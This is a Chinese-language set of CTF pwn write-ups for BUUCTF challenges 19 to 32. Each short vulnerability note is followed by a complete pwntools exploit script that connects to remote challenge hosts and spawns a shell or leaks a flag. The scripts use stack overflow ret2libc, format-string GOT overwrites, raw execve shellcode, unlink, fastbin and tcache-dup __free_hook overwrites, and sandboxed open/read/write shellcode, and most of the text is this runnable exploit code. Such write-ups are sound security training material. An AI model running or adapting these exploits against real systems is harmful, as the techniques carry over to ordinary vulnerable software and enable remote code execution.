19、x_ctf_b0verfl0w
32位,RELRO半开,动态链接,ida打开看看
栈溢出,无后门函数,应该是ret2libc3了,毕竟试过了shellcode的字符型吧不行,ropchain也不行,先试试ret2libc3再说
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./b0verfl0w"
#p=process(pwn)
p=remote("node4.buuoj.cn",28806)
#gdb.attach(p,'b *0x80485A0')
#pause()
elf=ELF(pwn)
payload=b'a'*0x24+p32(elf.plt['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvuntil(".")
puts_addr=u32(p.recv(4))
print(hex(puts_addr))
libc=ELF("./libc-2.23.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0x24+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()
看了学长的博客,了解到还有第二种,应该是最正确的解法,在栈上写入shellcode,然后通过一些跳转指令执行shell
毕竟这道题给了hint,就是写入shellcode再执行
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./b0verfl0w"
#p=process(pwn)
p=remote("node4.buuoj.cn",28806)
elf=ELF(pwn)
#gdb.attach(p,'b *0x80485A0')
#pause()
jesp=0x8048504
payload=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload=payload.ljust(36,b'a')
payload+=p32(jesp)+asm('sub esp,0x28;jmp esp')
p.recv()
p.sendline(payload)
p.recv()
p.interactive()
20、inndy_echo
32位,RELRO半开,NX保护,动态编译,ida打开看看
也是格式化字符串漏洞,计算偏移量为7,接下来就是修改printf的地址为system函数got表地址,借助pwntools的pwnlib
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./echo"
#p=process(pwn)
p=remote("node4.buuoj.cn",29454)
elf=ELF(pwn)
#gdb.attach(p,'b *0x80485A0')
#pause()
payload=fmtstr_payload(7,{elf.got['printf']:elf.sym['system']})
p.sendline(payload)
p.recv()
p.sendline(b'/bin/sh\x00')
p.interactive()
21、picoctf_2018_leak_me
32位,RELRO半开,NX保护,动态编译,ida打开看看
有后门函数,一整个看下来就是不太清楚,还是本地运行一下,后面知道了,先输入用户名,在输入密码,且这道题要做要打远程写,第一个fgets函数输入0x100,v5和写入密码的s相差正好0x100,这样我们可以溢出到s处让后面的puts函数直接把密码打印出来.payload=b'a'*0xfc+b'stop'
下方泄露的密码
再远程nc,随便输入个名字,密码对就行 a_reAllY_s3cuRe_p4s$word_f85406
22、hitcontraining_unlink
64位,RELRO半开,Canary,nx保护,ida打开
跟前面一道题目一样,但是既然提示使用unlink,则试试,一样的修改函数堆溢出
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./bamboobox1" #p=process(pwn) p=remote("node5.buuoj.cn",28440) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def show(): p.sendlineafter("Your choice:",str(1)) def create(size,context=b'a'): p.sendlineafter("Your choice:",str(2)) p.sendlineafter("length of item name:",str(size)) p.sendafter("name of item:",context) def edit(index,context): p.sendlineafter("Your choice:",str(3)) p.sendlineafter("the index of item:",str(index)) p.sendlineafter("length of item name:",str(len(context)).encode()) p.sendafter("the new name of the item:",context) def delete(index): p.sendlineafter("Your choice:",str(4)) p.sendlineafter("the index of item:",str(index)) create(0x20) #chunk 0 create(0x20) #chunk 1 create(0x80) #chunk 2 create(0x10) #chunk 3 fakefd=0x6020d8 edit(1,p64(0)+p64(0x21)+p64(fakefd-0x18)+p64(fakefd-0x10)+p64(0x20)+p64(0x90)) 进行unlink,chunk2的p位置0,表示上一个chunk 处于free状态 delete(2) edit(1,b'a'*8+p64(elf.got['atoi'])) show() libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(0,p64(sys_addr)) p.sendlineafter("Your choice:",b'/bin/sh\x00') #debug() #pause() p.interactive()
23、wustctf2020_easyfast
64位,RELRO半开,Canary打开,NX打开,ida打开
后门函数括号值为0则调用system函数,该地址上面刚好有个0x50的值,则用fastbin attack
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./wustctf2020_easyfast" #p=process(pwn) p=remote("node5.buuoj.cn",25328) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def create(size): p.sendlineafter("choice>\n",str(1)) p.sendlineafter("size>\n",str(size)) def delete(index): p.sendlineafter("choice>\n",str(2)) p.sendlineafter("index>\n",str(index)) def read8(index,context): p.sendlineafter("choice>\n",str(3)) p.sendlineafter("index>\n",str(index)) p.send(context) create(0x48) #chunk 0 create(0x48) #chunk 1 delete(0) #只用清除一个,两个的话chunk的总数达到4反而修改不了, read8(0,p64(0x602080)) create(0x40) create(0x40) read8(3,p64(0)) p.sendline(str(4)) #debug() #pause() p.interactive()
24、wustctf2020_name_your_cat
32位,Canary和NX保护开了,动态编译,ida打开看看,发现后门函数
v2大小没做限制,v3数组越界写,gdb动态调试,我输入的是12345,总共可以输入到7 刚好覆盖到返回地址
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./wustctf2020_name_your_cat"
#p=process(pwn)
p=remote("node4.buuoj.cn",26410)
elf=ELF(pwn)
#gdb.attach(p,'b *0x80485A0')
#pause()
shel=0x80485CB
p.sendlineafter(">",str(1))
p.sendlineafter("Give your name plz: ",b'AA')
p.sendlineafter(">",str(2))
p.sendlineafter("Give your name plz: ",b'AA')
p.sendlineafter(">",str(3))
p.sendlineafter("Give your name plz: ",b'AA')
p.sendlineafter(">",str(4))
p.sendlineafter("Give your name plz: ",b'AA')
p.sendlineafter(">",str(7))
p.sendlineafter("Give your name plz: ",p32(shel))
p.interactive()
25、axb_2019_fmt64
64位,RELRO半开,NX保护,ida打开看看
格式化字符串漏洞,先计算偏移量为8,无system函数,那就泄露prinf函数的got地址,再计算出system的libc的地址,在填入printf函数的got地址,再发送sh
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./axb_2019_fmt64"
#p=process(pwn)
p=remote("node4.buuoj.cn",26479)
elf=ELF(pwn)
#gdb.attach(p,'b *0x40095C')
#pause()
payload=b'aaaa'+b'%9$s'+p64(elf.got['puts'])
p.sendlineafter("Please tell me:",payload)
p.recvuntil(b'aaaa')
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
#pause()
libc=ELF("./libc-2.23-x64.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
payload = fmtstr_payload(8, {elf.got['printf']:sys_addr})
p.sendline(payload)
p.sendline(b';/bin/sh\x00')
p.interactive()
26、cmcc_pwnme1
32位,RELRO半开,动态编译,ida打开看看
按理来说是栈溢出劫持返回地址调用flag函数,但是buu放flag的地方可能有点问题,shellcode试了也没用,就剩ret2libc3
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./pwnme1"
#p=process(pwn)
p=remote("node4.buuoj.cn",26156)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
p.sendlineafter("Exit",str(5))
payload=b'a'*0xa8+p32(elf.sym['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvline()
puts_addr=u32(p.recv(4))
print(hex(puts_addr))
libc=ELF("./libc-2.23.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0xa8+p32(sys_addr)+b'aaaa'+p32(bin_sh)
p.sendlineafter("Exit",str(5))
p.recv()
p.sendline(payload)
p.interactive()
27、axb_2019_brop64
64位,RELRO开了,NX开了,ida打开
栈溢出,且if判断语句之后的操作对栈没影响,无后门函数,就是简单的ret2libc
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./axb_2019_brop64"
#p=process(pwn)
p=remote("node4.buuoj.cn",29874)
elf=ELF(pwn)
#gdb.attach(p,'b *0x4012B4')
#pause()
ret=0x400629
rdi=0x400963
payload=b'a'*0xD8+p64(rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main'])
p.sendlineafter("me:",payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=ELF("./libc-2.23-x64.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0xD8+p64(rdi)+p64(bin_sh)+p64(sys_addr)
p.sendlineafter("me:",payload)
p.interactive()
28、[极客大挑战 2019]Not Bad
64位,只有RELRO半开,动态链接,ida打开
下图限制read,write,open,exit函数,只有这几个函数能用
沙盒逃逸类题目,且第一个函数在地址0x123000分配了一段可读可写的0x1000大小的空间,栈溢出0x10字节的数据,就在那里写入shellcode,读入flag,栈溢出的大小不够构造,借助jmp rsp 指令,让rsp-0x30指令执行
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./bad" #p=process(pwn) p=remote("node5.buuoj.cn",28283) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- mapp=0x123000 buf=0x123100 orw=asm(shellcraft.open('/flag')+shellcraft.read(3,buf,0x30)+shellcraft.write(1,buf,0x30)) jmp_rsp=0x400A01 #debug('b *0x400A34') shellcode = asm(shellcraft.read(0,mapp,0x100))+asm("mov rax,0x123000;call rax") # 这里把orw读入mapp的地址处执行,然后跳转到该地址执行 p.sendafter("fun!\n",shellcode.ljust(0x28,b'\x00')+p64(jmp_rsp)+asm("sub rsp,0x30;call rsp")) sleep(1) p.sendline(orw) p.recv() p.interactive()
29、wdb2018_guess
64位,RELRO半开,Canary开了,NX开了,动态编译
400_A11函数会fork子进程,所以我们有三次溢出的机会,该二进制文件运行时将flag载入内存,根据GDB动调确定flag存放的栈地址,以及偏移量为0x40,
输入数据的地址距离__libc_argv[0]的大小为0x168,environ存放的环境变量地址跟flag的存放地址距离0x168
得到libc地址后,libc基址+_environ的偏移量=_environ的地址
在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关
通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量
所以第一次泄露libcbase,第二次泄露environ的环境变量地址,第三次泄露flag
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./GUESS" p=process(pwn) #p=remote("node5.buuoj.cn",27309) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- #debug('b *0x400A6F') p.sendlineafter("guessing flag\n",b'a'*0x128+p64(elf.got['puts'])) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase)) environ=libcbase+libc.sym['__environ'] print(hex(environ)) p.sendlineafter("guessing flag\n",b'a'*0x128+p64(environ)) environaddr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) #pause() flag=environaddr-0x168 print(hex(environ)) print(hex(flag)) p.sendlineafter("guessing flag\n",b'a'*0x128+p64(flag)) #pause() p.interactive()
30、actf_2019_babyheap
除了PIE全开,ida打开,明显的uaf,在看了代码后,采用fastbinattack
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ACTF_2019_babyheap" #p=process(pwn) p=remote("node5.buuoj.cn",28409) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("Your choice: ",str(1)) p.sendlineafter("input size: ",str(size)) p.sendafter("input content: ",context) def delete(index): p.sendlineafter("Your choice: ",str(2)) p.sendlineafter("index: ",str(index)) def show(index): p.sendlineafter("Your choice: ",str(3)) p.sendlineafter("index: ",str(index)) create(0x20) create(0x20) delete(0) delete(1) create(0x10,p64(elf.got['atoi'])) show(0) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00')) delete(2) create(0x10,p64(bin_sh)+p64(sys_addr)) show(0) #debug() #pause() p.interactive()
31、ciscn_2019_final_3
保护全开,ida打开,c++堆题,只有申请和删除堆块的功能,且存在uaf
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_final_3" #p=process(pwn) p=remote("node5.buuoj.cn",29544) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def add(index,size,content): p.sendlineafter('choice > ',str(1)) p.sendlineafter('input the index\n',str(index)) p.sendlineafter('input the size\n',str(size)) p.sendlineafter('something\n',content) p.recvuntil("gift :") ptr = int(p.recv(14),16) print(index,":",hex(ptr)) return ptr def free(index): p.sendlineafter('choice > ',str(2)) p.sendlineafter('input the index\n',str(index)) ptr0 = add(0, 0x50, b'a'*0x10) add(1, 0x70, 'b'*0x10) add(2, 0x70, 'c'*0x10) add(3, 0x50, '/bin/sh\x00') add(4, 0x10, 'd'*0x10) free(0) free(0) add(5, 0x50, p64(ptr0-0x11e60)) add(6, 0x50, b'a') add(7, 0x50, b'\x00'*4+b'\x03'+b'a'*(0x40-5)+p64(ptr0+0x50)) add(8, 0x10, p64(0) + p64(0x101)) # leak libcbase free(0) free(0) free(1) add(9,0x50,p64(ptr0+0x60)) add(10, 0x50, b'a') add(11, 0x50, b'b') ptr1 = add(12, 0x50, b'a') main_arena = ptr1 - 96 libcbase = main_arena - 0x10 - libc.sym['__malloc_hook'] print('libcbase => ', hex(libcbase)) free_hook = libcbase + libc.sym['__free_hook'] system = libcbase + libc.sym['system'] # free_hook => system free(0) free(0) add(13, 0x50, p64(free_hook)) add(14, 0x50, b'a') add(15, 0x50, p64(system)) free(3) p.interactive()
32、ciscn_2019_es_1
保护全开,ida打开,菜单堆题且只有申请,删除,打印功能,打印功能没什么问题,就是依靠chunk 的指针进行输出
删除功能是uaf漏洞,且free的时候只把自定义大小的chunk 释放,且固定malloc0x18大小的chunk指针还保留,结合下图的申请功能的函数看,会先申请一个0x18大小的chunk ,之后就是我们自定义大小的chunk,且固定大小的chunk的地址存放在固定大小的chunk的指针地址处,且指针地址+8存放自定义大小的size,+12存放电话号码。自定义大小的chunk的size没有限制,libc为2.27,则可以先malloc一个超过0x400大小的chunk,再释放,再打印,绕过了tcache的范围,放入unsorted bin ,再利用打印功能泄露libc的基地址
create(0x500,b'a'*0x58,b'b'*0xc) #chunk 0 create(0x20) #chunk 1 create(0x20,b'/bin/sh\x00') #chunk 2 delete(0) show(0) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] freeaddr=libcbase+libc.sym['__free_hook']
之后就是因为在释放的时候只释放了自定义大小的堆块的指针,但是没有置0,则可以利用tcache bin dup ,且tcache不会对chunk 的size位进行检查
delete(1) delete(1) create(0x20,p64(freeaddr))
如上图所致,已经把freehook接入链表中,接下来就是把__free_hook的地址上写入system的地址
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_2019_es_1" p=process(pwn) #p=remote("node5.buuoj.cn",26093) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- def create(size,context=b'a',call=b'a'): p.sendlineafter("choice:",str(1)) p.sendlineafter("size of compary's name",str(size)) p.sendafter("input name:",context) p.sendafter("compary call:",call) def delete(index): p.sendlineafter("choice:",str(3)) p.sendlineafter("index:",str(index)) def show(index): p.sendlineafter("choice:",str(2)) p.sendlineafter("index:",str(index)) create(0x500,b'a'*0x58,b'b'*0xc) #chunk 0 create(0x20) #chunk 1 create(0x20,b'/bin/sh\x00') #chunk 2 delete(0) show(0) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] freeaddr=libcbase+libc.sym['__free_hook'] delete(1) delete(1) create(0x20,p64(freeaddr)) create(0x20) create(0x20,p64(sys_addr)) delete(2) #debug() #pause() p.interactive()